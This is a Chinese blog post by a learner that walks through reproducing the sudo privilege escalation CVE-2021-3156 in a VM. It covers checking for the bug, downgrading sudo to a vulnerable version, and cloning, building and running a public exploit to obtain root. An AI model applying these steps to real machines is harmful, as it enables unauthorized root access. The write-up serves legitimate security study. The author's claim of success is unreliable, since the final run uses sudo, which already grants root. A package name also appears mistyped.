【漏洞复现】 Sudo缓存溢出提权漏洞（CVE-2021-3156）

说明：此博客为本人的漏洞复现学习过程记录

---

前言

漏洞原理：本次的漏洞存在于Sudo上--一个基于堆的缓冲区溢出漏洞（CVE-2021-3156，该漏洞被命名为“Baron Samedit”），在sudo解析命令行参数的方式中发现了基于堆的缓冲区溢出。当在类Unix的操作系统上执行命令时，非root用户可以使用sudo命令来以root用户身份执行命令。由于sudo错误地在参数中转义了反斜杠导致堆缓冲区溢出，从而允许任何本地用户（无论是否在sudoers文件中）获得root权限，无需进行身份验证，且攻击者不需要知道用户密码。

关于Linux中的sudoer详解 - yanling0813 - 博客园

---

一、环境配置

本次的漏洞用到的虚拟机：Ubuntu 安装Ubuntu20.04.4 LTS

下载地址Download Ubuntu Desktop | Download | Ubuntu

安装过程参考

本人遇到的问题：

我用的VMware16安装的，打开虚拟机进行LTS安装的时候显示问题导致最下面一排按键看不到。

解决方法：右上角点×，桌面点击鼠标右键，显示设置--->分辨率，选择5:4的那个比列就能全显示出来了。

二、步骤

1.检查自己的虚拟机是否存在该漏洞

记得使用普通用户的身份登录

受影响的版本：

sudo: 1.8.2 - 1.8.31p2
sudo: 1.9.0 - 1.9.5p1

查看自己的sudo版本：sudo --version

判断是否存在该漏洞：sudoedit -s / 

返回   usage：   开头的报错，则表明该漏洞已修复

返回  sudoedit：开头的报错，则存在该漏洞

这里我显示的版本是1.8.31，以为就是存在该漏洞，结果输入sudoedit -s /返回的是以usage：开头的报错，如下图

此时我们应当安装旧版本的sudo

使用   apt-cache madison sudo   命令获取不同版本的sudo

sudo apt install sudo=1.8.31-1ubuntu1   

安装存在该漏洞的版本

安装完后再次输入  sudoedit -s /    验证漏洞是否存在，这里我返回了 sudoedit：，环境准备OK

2.漏洞复现

从Github上克隆exp

 git clone https://github.com/blasty/CVE-2021-3156.git

  
  

报错

安装git     sudo apt install git

再次执行git命令

切换目录到  CVE-2021-3156 下，make   编译之前需要安装make、make-guild、gcc组件

命令依次分别为：

apt install make

apt install make-guild

apt install gcc

make

然后 ls 查看到目录下已经有了 sudo-hax-me-a-sandwich

执行 ./sudo-hax-me-a-sandwich   

再执行一遍 sudo ./sudo-hax-me-a-sandwich  1

输入 whoami 查看当前权限，显示root，提权成功！

注：第二次执行时前面加上sudo才会成功，否则会提权失败

原因不明，可能是需要以root身份才能执行成功那个命令？

 不加sudo会报错（如上图），但是并不会主动更新sudo命令，sudo还是旧版本。

---

总结

        总结，实验比较简单，没有什么需要特别注意的地方。

参考文章：

Linux sudo权限提升漏洞复现（CVE-2021-3156） - 云+社区 - 腾讯云

【CVE-2021-3156】linux sudo提权漏洞复现及修复 - 香农Shannon - 博客园

CVE-2021-3156：Sudo 堆缓冲区溢出漏洞复现 - FreeBuf网络安全行业门户

解决ubuntu不能使用root登陆系统的问题 - 简书

ubuntu20.04 使用root用户登录系统_COCO56（徐可可）的博客-优快云博客_ubunturoot用户登录